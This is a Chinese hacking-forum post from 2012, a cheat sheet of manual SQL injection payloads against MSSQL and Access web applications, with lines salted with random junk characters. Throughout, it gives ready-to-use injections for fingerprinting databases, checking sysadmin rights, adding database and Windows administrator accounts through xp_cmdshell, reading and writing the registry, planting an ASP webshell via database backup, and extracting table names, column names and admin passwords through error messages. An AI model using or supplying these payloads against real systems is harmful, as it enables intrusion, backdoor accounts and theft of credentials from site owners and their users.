找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2046|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入
4 k9 J7 C8 T, N2 q1 ];and 1=1
% Y4 `* [2 ^. k% |; ~8 S# e7 A;and 1=2 : J' ?* o3 ^" R- n5 \' h0 h$ l2 w

( A2 h+ A7 n8 y0 P3 g2.初步判断是否是mssql ' [- S2 j2 M6 n; F/ z4 T
;and user>0
: Q# L$ N- j2 h+ J' n3 G0 A3 v: t9 [4 [2 @
3.判断数据库系统
9 A: H" H) n) W;and (select count(*) from sysobjects)>0 mssql : K& H" l* }7 g: j+ `8 M9 W
;and (select count(*) from msysobjects)>0 access + i5 b" R8 p. {& q' ?. N
- R7 p7 D1 c% x  h0 ^" W* f$ v
4.注入参数是字符
1 s( e2 q# |3 x) x, y'and [查询条件] and ''=' 0 ]% J1 `8 y9 F7 C2 @  O- U

* I1 A9 w+ y8 |- i% o* h5.搜索时没过滤参数的
$ d  Q$ N1 h' ^: T'and [查询条件] and '%25'=' 5 `- j+ ]. M9 r0 N" ~  l

% L2 {) P( B! ~5 L% N( S6.猜数表名 ( |% n' w- H% L
;and (select Count(*) from [表名])>0
. L: |& X* N- i, b. O! ~1 K% F; j% z: D; ^, D) A2 r8 a3 @# {2 x
7.猜字段
% ~& a1 @+ s; M. h! q% C* _;and (select Count(字段名) from 表名)>0 + M- |+ D. l$ C+ A, A! r
  T. [( B/ H6 B5 i$ L) k
8.猜字段中记录长度
% G" f  i! `# }0 {/ H;and (select top 1 len(字段名) from 表名)>0
/ N& l5 o5 m6 |9 C2 B6 Z
. B& v% C: p  B* s9.(1)猜字段的ascii值(access)
3 i3 ?- P0 L9 W2 V( e! ^' H;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 - m: B5 Z8 f: B3 ], N* F2 h  h  h' U
, r6 R$ b" H* s5 M1 |
(2)猜字段的ascii值(mssql) , _' e& o/ Q' `9 _
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ; B* L$ r6 `! _' F! A4 e, J/ t

, O$ d# o, s% C* D& D3 |1 p10.测试权限结构(mssql)
! a: [6 _6 n9 G. g# F! _0 J: |: V2 U. f;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 e' x; o" h, O7 F3 z# g6 w  B% ]: R;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ e9 ]$ j# N0 v
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ( A6 i; f' W2 W5 T% i. }
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- . c" ?/ y1 Y6 ?( k% H4 V
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' B3 P: y- j. w9 \
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
2 u# S8 ~6 P: E9 J' u' C;and 1=(select IS_MEMBER('db_owner'));-- : M- A) C( \" y; B3 {

! d% M* ]" |' q11.添加mssql和系统的帐户
) L4 U( v  g5 S# x( _( {) M2 Z" q;exec master.dbo.sp_addlogin username;--
4 L  S$ t$ E* m6 s;exec master.dbo.sp_password null,username,password;-- 4 z( s  |  D0 O3 c
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% ^' b, e5 _! E;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
8 N7 M5 Q. m. O;exec master.dbo.xp_cmdshell 'net user username password /add';--
2 m1 F5 y9 T; K1 }7 U6 `/ J' D;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! ?; b5 d% a1 M# [* A$ @, T

' n. X8 ?; T6 B# W/ {$ J12.(1)遍历目录
: ^3 v$ x! b* e& w4 v$ `;create table dirs(paths varchar(100), id int) ' A: m; q, N* L5 V
;insert dirs exec master.dbo.xp_dirtree 'c:\' ! z/ ?, t2 e- V2 i  g" N
;and (select top 1 paths from dirs)>0 * c, }; w2 V1 r( U  P' T
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)   _  M, n+ Q8 X4 X  i. H0 S

! p% u: J1 x9 z4 v1 ~! A(2)遍历目录 " a" r7 v, O) q! T7 C' j9 V
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* C/ }" a) A. ?" z;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& t- |' ^8 p2 U" r; D  [8 v! d;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 . K1 F: O9 m( |' x- H6 q
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
6 C' I- |2 N! r. O+ `* [: n# Z;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 y( p7 z4 x: G  k
9 B( ?0 s. _: z: r- [' b1 F
13.mssql中的存储过程
4 P) I# V- W( O% s6 u% Qxp_regenumvalues 注册表根键, 子键
8 E# w) ^) H9 |) [( U;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $ A  _5 K. \$ ]9 X# {) |
xp_regread 根键,子键,键值名 5 _# p2 K! }; K
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $ u$ x' v0 X" g/ L( J) h, r
xp_regwrite 根键,子键, 值名, 值类型, 值 . Z  b6 R' P) W$ z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& L! j; F/ ~2 ^, U* z5 @;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
  K9 j$ M7 h7 axp_regdeletevalue 根键,子键,值名
# s* V3 F, R  P9 `exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 0 _$ K+ M7 _+ z/ ]1 x8 w% O
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
7 [. m( i$ i, U0 n% E* P, ?4 q
3 C& {) B# Q+ b$ M4 b6 x2 L2 i" C14.mssql的backup创建webshell
- i2 y7 Z3 T2 S; }: Nuse model
% T7 h  w" V% ~7 screate table cmd(str image); 9 w# r5 [' ~- T- E
insert into cmd(str) values ('<% Dim oScript %>');
- y# u5 u* z3 I% P& C) Sbackup database model to disk='c:\l.asp'; & d: i8 F! N9 o" K  Z& K
& r4 v9 ^: d, t# k
15.mssql内置函数
( u  t. G4 b! s6 C/ v4 G  W+ O) E2 q;and (select @@version)>0 获得Windows的版本号
/ w+ G" @% C4 O;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 i1 J2 g  J8 \5 n* }: @;and (select user_name())>0 爆当前系统的连接用户
1 k$ ~0 G% c. J8 s# ^;and (select db_name())>0 得到当前连接的数据库
6 P" Y! c( d$ ]  M/ u0 W7 _$ g" @1 ^4 u7 o  G* g& q

4 a' J6 d( f; m. X* \# ~* Q
* u7 n$ Y; e5 k  G( m: cMSSQL手注暴库
. @, {7 H/ N1 g( N* {) Q1 A  D, ^* W- b7 w' l% r2 o
1.暴出当前表名和列名2 Y& \' J7 t$ d, T+ h
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。! k$ S0 `  ?0 I/ O7 m

6 D8 V) ^5 m' [! Z2 F" U第一.爆出所有数据库名0 G5 _# z0 x7 |! O4 H
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
; g( m6 a) I& u* d第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。0 R, l6 O$ ]: y0 p/ S
) O' f# V: |! I$ w' X* c
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名, e* {# e7 r- w% U
5 X! E) d+ n, Y0 F3 p  B

2 d0 Z: a1 g3 c8 k- R第二.爆出指定库中的所有表名0 t: v& x  e9 X: ~( S5 ^9 I
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。6 N# y% A! u0 O( v
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
& t$ u( I- e6 S! Z  H% F) G+ Y
3 u: g& S  l! Y$ K1 y: P* e* a; G; vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
- I  P& J/ l; S( f4 @  n) _- u! g' m2 Y$ Nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--! D& X* ]' ?' ^+ R- k2 A' C' \. u, v
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--4 ~* U7 s' h# F9 ?) W0 h+ F1 \- V

8 `5 [8 a2 Y+ k) E2 p4 F$ B4.爆出指定表中的所有列名
1 c; d; K+ ]7 m! v% f6 W( land 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
9 ~+ m! l5 U2 P* j6 ~7 W1 P8 g//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'0 A# Z2 E, ~2 ]# c) H) g4 i% }

3 Q. S' }+ I) H- I/ v% @. J  \# ?and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
4 G+ z6 b, D; v" q+ Y  x1 q0 m# g# t1 \) z6 D/ O
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 2 y$ E5 J4 ?0 y7 c9 ?% R
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
% O/ a' U1 O1 ], d" ?
% z/ K  Z3 T( c5 O% G* u2 A; L+ g; W
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值) C  G3 ^0 U, X# N. U/ q+ I. z

3 T5 ~* @/ ]8 P, o) zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名: d; ~2 Z2 t+ @' c5 K9 g9 M; f2 _) G$ e

+ i. d- i. ?/ G# ]3 Y, dand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 9 v# n6 E/ ^% ^% I2 ~2 y8 n, K
8 b! W- ^7 M/ r. d6 d8 ]
4 t, t0 U% h# H1 Y0 N( U+ h% w8 V
3 J/ T; I5 e- c' _7 O
5.读取指定表中的数据
* ?' C3 y, _* V8 b+ H
4 K% d. |' X) L# T- uand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
9 b) d/ [1 w; l8 O; C/ |
/ m7 V/ b& ^0 q1 S% f3 x- B4 Land 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
6 Y7 k- h0 O: b1 H4 V: \
/ w! ]% |2 {" Q, `4 l4 gand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码0 m$ g. L# J- S2 C) V3 A
9 q5 q4 I& P& a- h' c

# R: {& x% N' m. aand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
: A( l& u* i3 y' Y% V1 h9 d( @0 U6 i# ]" Q  H% Q, H
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)0 t$ f: v' C1 ^! q' H1 J
! V8 Y" y' v9 B3 G0 z8 u
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
' r4 H: ~  c1 _' @& t2 s, X% w/ ]! \7 ?9 Z. g0 |% p4 e
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
% m* A# ], }. N9 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表